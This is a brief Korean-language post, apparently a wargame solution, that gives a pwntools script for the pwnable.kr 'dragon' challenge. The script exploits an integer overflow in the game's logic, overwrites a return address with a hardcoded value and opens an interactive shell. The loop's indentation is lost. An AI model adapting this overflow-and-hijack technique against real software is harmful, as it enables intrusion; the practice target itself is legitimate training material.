이문제는 매우매우 쉬우니까 그냥 익스코드만 올리겠다.
from pwn import *
p = remote("pwnable.kr",9004)
eip = 0x08048DBF
print p.recvuntil("Knight")
print "[+] Select Priest!"
p.sendline("1")
p.recvline()
dargon = p.recvline()[:11]
print "[+] First is %s" % dargon
p.sendline("1")
p.recvuntil("Invincible.")
p.sendline("1")
print p.recvuntil("Knight")
print "[+] We ReSelect Priest!"
p.sendline("1")
for i in range(0,4):
p.recvuntil("Invincible.")
p.sendline("3")
p.recvuntil("Invincible.")
p.sendline("3")
p.recvuntil("Invincible.")
p.sendline("2")
print "[+] We Kill dargon! we used byte overflow(?)"
print p.recvuntil("As:")
print "[+] Send eip 0x%x" %eip
p.send(p32(eip))
p.interactive()
p.close()